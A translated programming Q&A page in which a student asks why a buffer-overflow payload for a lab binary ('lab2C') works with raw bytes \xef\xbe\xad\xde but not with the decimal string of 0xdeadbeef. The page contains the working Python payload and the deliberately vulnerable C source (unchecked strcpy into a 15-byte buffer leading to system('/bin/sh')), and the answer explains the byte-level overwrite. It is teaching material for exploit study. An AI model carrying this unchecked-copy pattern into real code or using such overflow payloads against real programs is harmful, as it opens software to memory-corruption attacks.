Почему целое число может хранить шестнадцатеричное значение, но не может хранить то же значение в десятичном формате? - PullRequest
0 голосов
/ 04 мая 2018

Недавно я успешно использовал исполняемый файл C, вызвав переполнение его массива char другой переменной. Я сделал это, отправив вывод exploit1.py в командную строку, которая была принята в качестве аргумента lab2C. Вот команда, которую я использовал: ./lab2C.exe "$(python /tmp/exploit1.py)". Окончательный файл exploit1.py выглядит следующим образом:

exploit1.py (конечная):

def main():

     print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

Я прочитал в Взлом: Искусство эксплуатации Джона Эриксона, что вы можете передать шестнадцатеричный байт-код в файл, используя командную строку, поэтому я попробовал его, и мне удалось вызвать функция shell ().

Одна вещь, которую я все еще смущаю, это то, почему конвейер в десятичной версии 0xdeadbeef в качестве аргумента не работает. Вот исходный файл, который я попытался перенаправить в вывод в командной строке:

exploit1.py (оригинал):

def main():

    print("aaabbbcccdddeee3735928559")

main()

Когда я сделал это, командная строка вернула следующее:

Not authenticated.
set_me was 892548915

Почему это не работает? Это потому, что целочисленный контейнер не может содержать десятичное значение 0xdeadbeef, потому что он слишком большой? Если это так, то почему целое число может принять эквивалент шестнадцатеричного байтового кода?

Характеристики - Архитектура: i686; Операционные режимы процессора: 32-разрядный, 64-разрядный; Имя ядра: Linux; Ядро-версия: # 40 ~ 14.04.1-Ubuntu; Версия компилятора: Ubuntu 4.8.4-2ubuntu1 ~ 14.04

(вот для справки lab2C): lab2C:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void shell()
{
    printf("You did it.\n");
    system("/bin/sh");
}

int main(int argc, char** argv)
{
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

1 Ответ

0 голосов
/ 04 мая 2018

0xdeadbeef равно 3735928559, но "3735928559" равно

>>> [hex(ord(c)) for c in "3735928559"]
['0x33', '0x37', '0x33', '0x35', '0x39', '0x32', '0x38', '0x35', '0x35', '0x39']

То есть "\x33\x37\x33..."

Смысл этого эксплойта в том, что представление целого числа перезаписывается представлением строки, а не анализируемым значением строки.

...